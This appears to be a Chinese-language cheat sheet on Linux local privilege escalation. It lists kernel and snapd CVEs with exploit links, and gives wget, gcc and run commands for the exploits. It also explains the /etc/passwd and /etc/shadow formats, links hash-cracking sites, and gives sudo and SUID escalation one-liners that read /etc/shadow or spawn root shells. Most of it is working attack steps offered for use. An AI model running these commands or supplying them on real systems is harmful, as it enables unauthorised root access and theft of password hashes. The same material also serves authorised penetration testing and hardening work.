漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权
影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)

1
2
3
POC: https://github.com/FireFart/dirtycow
gcc编译: gcc -pthread ditry.c –o dirty –lcrypt
替换root用户: ./dirty password

CVE-2019-13272

1
2
3
4
5
6
7
8
9
10
linux本地提权

漏洞范围:
4.10 < linux内核版本 < 5.1.17

exploitdb:
https://www.exploit-db.com/exploits/47163

利用exp:
https://www.exploit-db.com/download/47163
1
2
3
wget https://www.exploit-db.com/download/47163 -O exp.c
gcc exp.c –o exp
./exp

CVE-2019-7304

1
2
3
4
5
6
7
8
9
10
Linux包管理器snap本地提权漏洞

Ubuntu版本范围:
Ubuntu 18.10
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 LTS

snap版本范围:
2.28 < snapd < 2.37

https://www.anquanke.com/post/id/170985

1
2
漏洞利用:
https://github.com/initstring/dirty_sock

CVE-2021-3493

漏洞影响范围

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

https://github.com/briskets/CVE-2021-3493

1
2
gcc exploit.c -o exp
./exp

Linux密码hash

/etc/passwd
所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分

1
2
3
4
5
6
7
1. 用户名
2. 密码,x表示密码保存在/etc/shadow
3. UID,0代表root
4. GID,表示所在组
5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6. 用户主目录
7. 默认shell类型
  • /etc/shadow

只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:

1
2
3
4
5
6
7
8
9
1. 用户名
2. 加密后的密码
3. 上次修改密码的时间(从1970.1.1开始的总天数)
4. 两次修改密码间隔的最少天数,如果为0,则没有限制
5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
6. 前多少天警告用户密码将过期
7. 在密码过期之后多少天禁用此用户
8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9. 保留

https://cmd5.com/
https://www.somd5.com/

滥用的SUDO权限

  • sudo简介

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。

https://www.runoob.com/linux/linux-comm-sudo.html
https://blog.csdn.net/netlai/article/details/79727187

1
2
sudo配置文件:/etc/sudoers
配置文件权限:0440

sudo -l:显示出自己(执行sudo的使用者)的权限

sudo –s:执行环境变数中的shell所指定的shell,或是/etc/passwd 里所指定的shell

  • sudo提权

https://gtfobins.github.io/

1
2
3
4
5
sudo /bin/ash
sudo /usr/bin/awk -F: ‘{print $1 $2}' /etc/shadow
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo curl file:///etc/shadow
sudo find . -exec /bin/sh \; -quit

SUID权限提权

  • SUID权限说明
  1. 启动为进程之后,其进程的属主为原程序文件的属主
  2. 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
  3. 执行suid权限的程序时,此用户将继承此程序的所有者权限

find命令 查找拥有suid权限的文件

1
find / -perm -u=s -type f 2>/dev/null

https://gtfobins.github.io/

Linux提权工具